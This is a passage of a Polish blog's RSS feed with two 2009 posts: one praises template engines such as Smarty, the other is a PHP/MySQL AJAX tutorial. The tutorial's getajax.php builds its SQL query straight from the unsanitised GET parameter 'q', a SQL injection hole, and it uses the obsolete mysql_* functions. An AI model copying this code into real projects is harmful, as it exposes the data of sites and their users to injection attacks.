		<category><![CDATA[template]]></category>
		<category><![CDATA[template engine]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=498</guid>
		<description><![CDATA[Dlaczego tak dziwna nazwa tematu? Ano dlatego, że zamierzam Was przekonywać do stosowania systemów szablonów w swoich projektach WWW. Dlaczego jest to ważne? Spójrzmy na sprawę z logicznego punktu widzenia. Pomyśl, jak fatalnie korzysta się, edytuje czy rozwija skrypt gdzie w jednej linijce jest definiowany wygląd tekstu i wyświetlanie danych z bazy. (zawczasu uprzedzam tych [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://majareq.viawww.pl/wp-content/uploads/2009/01/tpllog.gif" alt="Oddzielanie logiki od treści" /></center></p>
<p>Dlaczego tak dziwna nazwa tematu? Ano dlatego, że zamierzam Was przekonywać do stosowania systemów szablonów w swoich projektach WWW.<br />
<span id="more-498"></span></p>
<h2>Dlaczego jest to ważne?</h2>
<p>Spójrzmy na sprawę z <em>logicznego</em> punktu widzenia. Pomyśl, jak fatalnie korzysta się, edytuje czy rozwija skrypt gdzie w jednej linijce jest definiowany wygląd tekstu i wyświetlanie danych z bazy.<br />
(zawczasu uprzedzam tych "życzliwych", którzy zapewne będę chcieli wytknąć mi, że sam w niektórych wpisach na <strong><a href="http://majareq.viawww.pl">Dziennikach Emku</a></strong> stosuję to. - wpisy z takim sposobem programowania stron są przeznaczone docelowo do <strong>początkujących programistów</strong>. Oznacza to, że panowie i panie, których jakże wielce razi to jak pisze, nie są tam miłymi gośćmi. Zaproszeni tam są tylko spragnieni wiedzy.)<br />
Z takim stylem programowania wiąże się wiele problemów i kłopotów, choćby z typowym z nagłówkami HTML czy umożliwianie wykonania, jakże przepięknych, klasycznych ataków <strong>XSS</strong>.</p>
<h2>Z czym to się je?</h2>
<p>Poniżej przedstawiam Wam krótką listę cech i zalet stosowania szablonów.</p>
<dl>
<dt>&bull; Zasada DRY</dt>
<dd>czyli Dont Reapeat Yourself - nie powtarzamy po sobie kilka set razy to co możemy napisać raz.</dd>
<dt>&bull; Zasada KISS</dt>
<dd>czyli Keep It Simple, Stupid - nie komplikuj sobie, głupcze!</dd>
<dt>&bull; Brzytwa Ockhama</dt>
<dd>Nie należy tworzyć bytów ponad niezbędną konieczność.</dd>
<dt>&bull; Zwiększoną czytelność kodu HTML i PHP.</dt>
<dt>&bull; Łatwiejsze zarządzanie dużymi projektami.</dt>
<dt>&bull; Łatwiejsza konserwacja projektów.</dt>
<dt>&bull; Ułatwiony podział ról - projektant i programista.</dt>
<dt>&bull; Zwiększona szybkość działania strony.</dt>
<dt>&bull; Ułatwiona rozszerzalność projektów.</dt>
<dt>&bull; Najczęściej, podniesiona bariera bezpieczeństwa.</dt>
</dl>
<h2>Smarty - wprowadzenie</h2>
<p>Ośmielę się powiedzieć, że Smarty jest obecnie najbardziej popularnym systemem szablonów na świecie. Chodź w Polsce całkiem dobrze radzi sobie rodzimy projekt - <strong>OPT</strong>.<br />
Smarty jest udostępniane na licencji <a href="http://www.gnu.org/copyleft/lesser.html#SEC1" alt="poczytaj więcej o LGPL">LGPL</a> choć wcześniej była udostępniana po prostu na GPL.<br />
Obecnie najwyższą wersją Smarty jest ta oznaczona numerem <a href="http://www.smarty.net/download.php">2.6.22</a>, tutaj znajdziecie <a href="http://www.smarty.net/misc/NEWS">ChangeLog</a>.<br />
Z tego co pobierzecie ze strony Smarty, nas interesuje katalog <em>libs</em>, który zawiera głowną bibliotekę Smarty.<br />
Do prawidłowego funkcjonowania tego systemu szablonów w swoim projekcie serwisu WWW potrzebujesz czterech dodatkowych katalogów:</p>
<dl>
<dt><strong>cache</strong></dt>
<dd>katalog używany przy buforowaniu (opcjonalny). <strong>Katalog musi mieć prawa zapisu.</strong></dd>
<dt><strong>configs</strong></dt>
<dd>katalog przechowujący dane konfiguracyjne (opcjonalny)</dd>
<dt><strong>templates</strong></dt>
<dd>katalog przechowujący szablony (*.tpl)</dd>
<dt><strong>templates_c</strong></dt>
<dd>katalog przechowujący pliki po kompilacji. <strong>Katalog musi mieć prawa zapisu.</strong></dd>
</dl>
<p>Instalacja?</p>
<div class="php dean_ch" style="white-space: nowrap;">
<span class="kw1">require</span><span class="br0">&#40;</span><span class="st0">'libs/Smarty.class.php'</span><span class="br0">&#41;</span>;<br />
&nbsp;</div>
<p>Potem rozpoczynamy zabawę <img src='http://vivee.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class="php dean_ch" style="white-space: nowrap;">
<span class="re0">$smarty</span> = <span class="kw2">new</span> Smarty;<br />
<span class="re0">$smarty</span>-<span class="sy0">&gt;</span><span class="me1">display</span><span class="br0">&#40;</span><span class="st0">'index.tpl'</span><span class="br0">&#41;</span>;<br />
&nbsp;</div>
<p>W <a href="http://www.google.pl/search?hl=pl&#038;q=smarty&#038;btnG=Szukaj&#038;lr=lang_pl">internecie</a> znajdziesz multum świetnych tutoriali, artykułów na temat Smarty. Więc pisanie kolejnego i to na "hipcia" jest bez celowe <img src='http://vivee.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Jeśli kiedykolwiek dojdzie do publikacji drugiej części tego artykułu postaram się oprócz zwykłej teorii przekazywać więcej wiedzy praktycznej.</p>
<p>Pozdrawiam, MajareQ</p>
<img src="http://vivee.info/?ak_action=api_record_view&id=498&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2009%2F01%2F12%2Fmieszanie-logiki-i-prezentacji-strony-jest-zle%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2009/01/12/mieszanie-logiki-i-prezentacji-strony-jest-zle/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Pobieranie danych z MySQL w tle</title>
		<link>http://vivee.info/2009/01/01/pobieranie-danych-z-mysql-w-tle/</link>
		<comments>http://vivee.info/2009/01/01/pobieranie-danych-z-mysql-w-tle/#comments</comments>
		<pubDate>Thu, 01 Jan 2009 11:47:39 +0000</pubDate>
		<dc:creator>majareq</dc:creator>
				<category><![CDATA[Skrypty client-side]]></category>
		<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[Tutoriale]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[baza danych]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[łączenie z bazą]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=338</guid>
		<description><![CDATA[Temat jak najbardziej na czasie dla każdego webmastera. Żyjemy w czasach kiedy Ajax jest chlebem powszednim dla każdego profesjonalnego twórcy stron WWW. Jednak rzadko kto umie wykorzystać techniki Ajaxa w praktyce. Ten artykuł obrał za cel przynajmniej w części to zmienić. Całość artykułu i skryptu opierałem na rozwiązaniu Ajax'owym z W3School. Więc do rzeczy! By [...]]]></description>
			<content:encoded><![CDATA[<p>Temat jak najbardziej na czasie dla każdego webmastera. Żyjemy w czasach kiedy Ajax jest chlebem powszednim dla każdego profesjonalnego twórcy stron WWW. Jednak rzadko kto umie wykorzystać techniki Ajaxa w praktyce. Ten artykuł obrał za cel przynajmniej w części to zmienić.</p>
<p class="insp">
<a href="http://majareq.viawww.pl/demos/ajaxsql/ajax.php"><img src="http://pliki.vivee.info/demo.jpg" alt="demo" /></a> <a href="http://majareq.viawww.pl/demos/ajaxsql.zip"><img src="http://pliki.vivee.info/download.jpg" alt="pobierz" /></a>
</p>
<p><span id="more-338"></span><br />
Całość artykułu i skryptu opierałem na rozwiązaniu Ajax'owym z W3School.</p>
<p>Więc do rzeczy! By zrobić to u siebie musisz wykonać następujące czynności:</p>
<ol>
<li>Utworzyć odpowiednią tabelę w bazie danych.</li>
<li>Stworzyć kod HTML z listą w formularzu, odwołujący się do pliku Ajaxa.</li>
<li>Stworzyć kod Ajaxowy obsługujący drugi plik PHP.</li>
<li>Stworzyć plik PHP wywołujący dane z bazy.</li>
</ol>
<h2>Tabela SQL</h2>
<p>Najpierw potrzebna nam w bazie danych tabela zawierające dane, które mamy dynamicznie pobierać.<br />
U mnie jest to w formie: </p>
<table>
<tr>
<th>id</th>
<th>imie</th>
<th>nazwisko</th>
<th>miasto</th>
</tr>
<tr>
<td>1</td>
<td>Adam</td>
<td>Kowalski</td>
<td>Warszawa</td>
</tr>
<tr>
<td>2</td>
<td>Joanna</td>
<td>Ogrodnik</td>
<td>Kraków</td>
</tr>
<tr>
<td>3</td>
<td>Paweł </td>
<td>Kostucha</td>
<td>Gniezno</td>
</tr>
<tr>
<td>4</td>
<td>Marta</td>
<td>Ługowska</td>
<td>Elbląg</td>
</tr>
</table>
<p>Zrzut bazy danych dostępny jest <a href="http://majareq.viawww.pl/demos/ajaxsql/ajax.sql">tutaj</a>. </p>
<p>Pole <code>id</code> jest kluczem w tabeli i zawiera dodatkowy argument – <code>auto_increment</code>.<br />
Oznacza to (<code>auto_icrement</code>), że nie musimy za każdym razem gdy dodajemy nową osobę do bazdy danych, wpisywać kolejnego id. Skrypt zrobi to za nas.<br />
Ustawiając <code>PRIMARY KEY</code> (klucz główny) na id, spełniamy wymóg jaki narzuca nam działanie relacyjnych baz danych, identyfikujemy wiersze w tabeli.</p>
<h2>Główny plik – ajax.php</h2>
<p>Skoro już mamy tabelę w bazie możemy zapełnić ją rekordami. Dane wpisujcie dowolnie <img src='http://vivee.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Przystępujemy do drugiego kroku naszego tutoriala. Plik ajax.php:<br />
Pierwsza i najważniejsza kwestia: połączenie z bazą danych. Robimy to w następujący sposób:</p>
<div class="php dean_ch" style="white-space: nowrap;"><a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">'host'</span>,<span class="st0">'użytkownik_bazy'</span>,<span class="st0">'hasło_użytkownika'</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">'nazwa_bazy_danych'</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Nie odnaleziono bazy danych&quot;</span><span class="br0">&#41;</span>;</div>
<p>Pierwszą wywoływaną funkcją jest <code>mysql_connect()</code> gdzie parametrami są kolejno: host, użytkownik i hasło. W 99% przypadków w miejsce hostu należy wpisać po prostu localhost.</p>
<p>Potem wywołujemy funkcję <code>mysql_select_db()</code> która oznacza, jak nie trudno jest się domyśleć, wybranie bazy danych. Dalsza część kodu zaczynająca się od or die zakończy działanie skryptu i wyświetli napis znajdujący się pomiędzy cydzysłowami jeśli za pomocą wcześniej podanych informacji na temat użytkownika i hostu nie można połączyć się z bazą dany MySQL.</p>
<p>Jeśli dobrze wypełniłeś ten fragment kodu możemy przejść dalej:</p>
<div class="php dean_ch" style="white-space: nowrap;"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a><span class="st0">'&lt;script src=&quot;ajax.js&quot;&gt;&lt;/script&gt;'</span>;</div>
<p>Tego chyba nie muszę tłumaczyć. Oznacza to odwołanie się do pliku ajax.js. Możemy iść dalej.<br />
Zajmiemy się teraz instrukcją liczącą rekordy w tabeli i wyświetlający odpowiednie napisy:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$liczRekordy</span> = <a href="http://www.php.net/mysql_num_rows"><span class="kw3">mysql_num_rows</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM ajaxsql&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$liczRekordy</span> <span class="sy0">&gt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">'&lt;center&gt;&lt;font size=&quot;3&quot; color=&quot;#7dab1b&quot;&gt;Mamy '</span>.<span class="re0">$liczRekordy</span>.<span class="st0">' osób w bazie.&lt;/font&gt;&lt;/center&gt;'</span>;<br />
<span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">'&lt;center&gt;&lt;font size=&quot;3&quot; color=&quot;#df1080&quot;&gt;Nie ma osób w bazie.&lt;/font&gt;&lt;/center&gt;'</span>;<br />
<span class="br0">&#125;</span></div>
<p>Co zrobiliśmy teraz?</p>
<ol>
<li>Zmiennej o nazwie <code>$liczRekordy</code> nadaliśmy wartość ilości rekordów w tabeli o nazwie <code>ajaxsql</code>.</li>
<li>Sprawdziliśmy czy jest jakiś rekord w tej tabeli i wyświetliśmy napis pokazujący ile jest tych rekordów. W przeciwnym wypadku napisaliśmy napis „Nie ma osób w bazie.”.</li>
</ol>
<p>Przyszła pora na listę wyboru oraz tak zwany <em>placeholder</em> czyli miejsce gdzie będą pokazywać się  rekordy z bazy danych. Dokonujemy tego za pomoca następującego kodu:</p>
<div class="php dean_ch" style="white-space: nowrap;"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a><span class="st0">'&lt;form&gt;Wybierz osobę:<br />
&lt;select name=&quot;users&quot; onchange=&quot;showUser(this.value)&quot;&gt;&lt;option&gt;wybierz zgloszenie&lt;/option&gt;'</span>;<br />
<span class="re0">$sql2</span>=<span class="st0">&quot;SELECT * FROM ajaxsql ORDER by id ASC&quot;</span>;<br />
<span class="re0">$result2</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql2</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$row2</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$result2</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;option value=&quot;</span><span class="st0">&quot; . $row2['id'] . &quot;</span><span class="st0">&quot;&gt;(&quot;</span> . <span class="re0">$row2</span><span class="br0">&#91;</span><span class="st0">'id'</span><span class="br0">&#93;</span> . <span class="st0">&quot;) &quot;</span> . <span class="re0">$row2</span><span class="br0">&#91;</span><span class="st0">'imie'</span><span class="br0">&#93;</span> . <span class="st0">&quot; &quot;</span> . <span class="re0">$row2</span><span class="br0">&#91;</span><span class="st0">'nazwisko'</span><span class="br0">&#93;</span> . <span class="st0">&quot;&lt;/option&gt;&quot;</span>;<br />
&nbsp;<span class="br0">&#125;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a><span class="st0">'&lt;/select&gt;&lt;/form&gt;&lt;div id=&quot;txtHint&quot;&gt;&lt;/div&gt;'</span>;</div>
<p>Pora na krótką analizę:<br />
Najpierw tworzymy formularz za pomocą <code>&lt;form&gt;</code>, potem tworzymy listę wyboru <code>&lt;select&gt;</code> nadajemu mu m.in parametr <code>onchange</code> wywołujący funkcję JS <code>showUser</code> która pokazuje aktualnie wybraną wartość. Potem wywołujemy wszystkie rekordy z tabeli '<code>ajaxsql</code>' sortując rosnąco. Wyświetlania rekordów z bazy dokonujemy za pomocą pętli <code>while</code>. Następnie zamykamy listę i formularz oraz tworzymy <em>placeholder</em>, który niedługo zdefiniujemy w pliku <code>ajax.js</code></p>
<p>No dobrze. Skończyliśmy pisać plik <code>ajax.js</code> . Twoja wersja tego pliku powinna wyglądać mniej więcej tak:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">'host'</span>,<span class="st0">'użytkownik_bazy'</span>,<span class="st0">'hasło_użytkownika'</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">'nazwa_bazy_danych'</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Nie odnaleziono bazy danych&quot;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a><span class="st0">'&lt;script src=&quot;ajax.js&quot;&gt;&lt;/script&gt;'</span>;<br />
<span class="re0">$liczRekordy</span> = <a href="http://www.php.net/mysql_num_rows"><span class="kw3">mysql_num_rows</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM ajaxsql&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$liczRekordy</span> <span class="sy0">&gt;</span> <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">'&lt;center&gt;&lt;font size=&quot;3&quot; color=&quot;#7dab1b&quot;&gt;Mamy '</span>.<span class="re0">$liczRekordy</span>.<span class="st0">' osób w bazie.&lt;/font&gt;&lt;/center&gt;'</span>;<br />
<span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">'&lt;center&gt;&lt;font size=&quot;3&quot; color=&quot;#df1080&quot;&gt;Nie ma osób w bazie.&lt;/font&gt;&lt;/center&gt;'</span>;<br />
<span class="br0">&#125;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a><span class="st0">'&lt;form&gt;Wybierz osobę:<br />
&lt;select name=&quot;users&quot; onchange=&quot;showUser(this.value)&quot;&gt;&lt;option&gt;wybierz zgloszenie&lt;/option&gt;'</span>;<br />
<span class="re0">$sql2</span>=<span class="st0">&quot;SELECT * FROM ajaxsql ORDER by id ASC&quot;</span>;<br />
<span class="re0">$result2</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql2</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$row2</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$result2</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;option value=&quot;</span><span class="st0">&quot; . $row2['id'] . &quot;</span><span class="st0">&quot;&gt;(&quot;</span> . <span class="re0">$row2</span><span class="br0">&#91;</span><span class="st0">'id'</span><span class="br0">&#93;</span> . <span class="st0">&quot;) &quot;</span> . <span class="re0">$row2</span><span class="br0">&#91;</span><span class="st0">'imie'</span><span class="br0">&#93;</span> . <span class="st0">&quot; &quot;</span> . <span class="re0">$row2</span><span class="br0">&#91;</span><span class="st0">'nazwisko'</span><span class="br0">&#93;</span> . <span class="st0">&quot;&lt;/option&gt;&quot;</span>;<br />
&nbsp;<span class="br0">&#125;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a><span class="st0">'&lt;/select&gt;&lt;/form&gt;&lt;div id=&quot;txtHint&quot;&gt;&lt;/div&gt;'</span>;<br />
<span class="kw2">?&gt;</span></div>
<h2>Plik Ajaxa – ajax.js</h2>
<p>Plik <code>ajax.js</code> oparłem na rozwiązaniu W3School więc od razu zaznaczam, że nie ja jestem jego autorem. Lecz postaram się w miarę moich skromnych możliwości skutecznie go objaśnić. Nie będę teraz pokazywał poszczególnych cześci kodu, ponieważ śmiało możecie go pobrać z <a href="http://majareq.viawww.pl/demos/ajaxsql/ajax.js">tego adresu</a>. </p>
<p>Plik ten zawiera 3 funkcje. Pierwsza z nich to wspominana już funkcja <code>showUser</code>.<br />
Sprawdza ona najpierw czy Twoja przeglądarka obsługuje HTTP Reguest, jeśli nie to wyświetli po prostu komunikat „Browser does not support HTTP Request”. Używa także ostatniej w pliku funkcji czyli GetXmlHttpObject(), której działanie opisuje następne zdanie.</p>
<p>Jeśli przeglądarka nie obsługuje XMLHttpRequest (a obługują przeglądarki na Gecko) to używa ona ActiveXObject obsługiwanego przez popularnie nazywane badzIEwie czyli Internet Explorer.</p>
<p>Potem definiuję zmienną <code>url</code>, która będzie odwoływać się do pliku omówionego w następnym kroku – <code>getajax.php</code><br />
Obsługuje ona też dalsze parametry adresu url definiując tablicę <code>$_GET['q']</code>.</p>
<p>Kolejna funkcja - <code>stateChanged()</code> definuje nasz opisany już <em>placeholder</em>.</p>
<p>To koniec pliku <code>ajax.js</code> <img src='http://vivee.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Pora na następny krok.</p>
<h2>Plik obsługiwany przez Ajax – getajax.php</h2>
<p>Tutaj godne podkreślenia jest to że należy osobno łączyć się z bazą danych. Nie można używać żadnych z tych funkcji: include(), require(), require_once(), include_once(). Zatem... PHP czas zacząć!</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$q</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;q&quot;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$con</span> = <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">'host'</span>, <span class="st0">'user'</span>, <span class="st0">'hasło'</span><span class="br0">&#41;</span>;<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$con</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
&nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">'Nie mogę się połączyć. Error: '</span> . <a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="br0">&#125;</span></div>
<p>Tym kodem zrobiliśmy następujące rzeczy: przekazaliśmy do zmiennej <code>$q</code> dane z tablicy <code>$_GET['q']</code> czyli parametry url'a. Potem wywołaliśmy instrukcję łączenia się z bazą danych. W przypadku nie powodzenia skrypt wyświetli nam błąd o treść: <em>„Nie mogę się połączyć. Error: szczegóły_błędu”</em>. A oto co wykonujemy potem:</p>
<div class="php dean_ch" style="white-space: nowrap;"><a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: text/html; charset=iso-8859-2&quot;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;baza&quot;</span>, <span class="re0">$con</span><span class="br0">&#41;</span>;<br />
<span class="re0">$sql</span>=<span class="st0">&quot;SELECT * FROM ajaxsql WHERE id = '&quot;</span>.<span class="re0">$q</span>.<span class="st0">&quot;'&quot;</span>;<br />
<span class="re0">$result</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
<p>Najpierw wyslaliśmy MIME informujący, że kod pobierany przez Ajax w przeglądarce będzie typu HTML, a kodowanie tekstu będzie w iso-8859-2. Następnie połączyliśmy się z bazą danych, wybraliśmy rekordy z tabeli i zapisaliśmy do zmiennej $result. Co robimy dalej?</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$result</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;(&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'id'</span><span class="br0">&#93;</span> . <span class="st0">&quot;) &quot;</span>;<br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'imie'</span><span class="br0">&#93;</span> . <span class="st0">&quot; &quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'nazwisko'</span><span class="br0">&#93;</span> . <span class="st0">&quot;<br />
&quot;</span>;<br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;strong&gt;Miasto: &lt;/strong&gt;&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'miasto'</span><span class="br0">&#93;</span> . <span class="st0">&quot;&quot;</span>;<br />
<span class="br0">&#125;</span><br />
<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$con</span><span class="br0">&#41;</span>;</div>
<p>Ponownie używamy pętli while do wyświetlenia pobranych rekordów z tabeli. Tym razem w instrukcji while ładnie wyświetlamy wszystkie informacje na temat osoby znajdującej się w stworzonej już przez nas tabeli '<code>ajaxsql</code>'. Potem zamykamy połączenie z bazą danych.</p>
<p>Całość tego pliku przedstawiam poniżej:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="re0">$q</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;q&quot;</span><span class="br0">&#93;</span>;<br />
<span class="re0">$con</span> = <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">'host'</span>, <span class="st0">'user'</span>, <span class="st0">'hasło'</span><span class="br0">&#41;</span>;<br />
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$con</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
&nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">'Could not connect: '</span> . <a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="br0">&#125;</span><br />
<a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: text/html; charset=iso-8859-2&quot;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;baza&quot;</span>, <span class="re0">$con</span><span class="br0">&#41;</span>;<br />
<span class="re0">$sql</span>=<span class="st0">&quot;SELECT * FROM ajaxsql WHERE id = '&quot;</span>.<span class="re0">$q</span>.<span class="st0">&quot;'&quot;</span>;<br />
<span class="re0">$result</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</p>
<p>
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$result</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp;<span class="br0">&#123;</span><br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;(&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'id'</span><span class="br0">&#93;</span> . <span class="st0">&quot;) &quot;</span>;<br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'imie'</span><span class="br0">&#93;</span> . <span class="st0">&quot; &quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'nazwisko'</span><span class="br0">&#93;</span> . <span class="st0">&quot;<br />
&quot;</span>;<br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;strong&gt;Miasto: &lt;/strong&gt;&quot;</span> . <span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">'miasto'</span><span class="br0">&#93;</span> . <span class="st0">&quot;&quot;</span>;<br />
<span class="br0">&#125;</span></p>
<p><a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$con</span><span class="br0">&#41;</span>;<br />
<span class="kw2">?&gt;</span></div>
<p>To już koniec naszego tutoriala. Przedstawiłem Wam metodę dynamicznego pobierania informacji z tabeli w bazie danych MySQL. Można to dowolnie dostosowywac do swoich projektów.<br />
Wersję do pobrania znajdziecie <a href="http://majareq.viawww.pl/demos/ajaxsql.zip">tutaj</a>.</p>
<p><em>MajareQ</em></p>
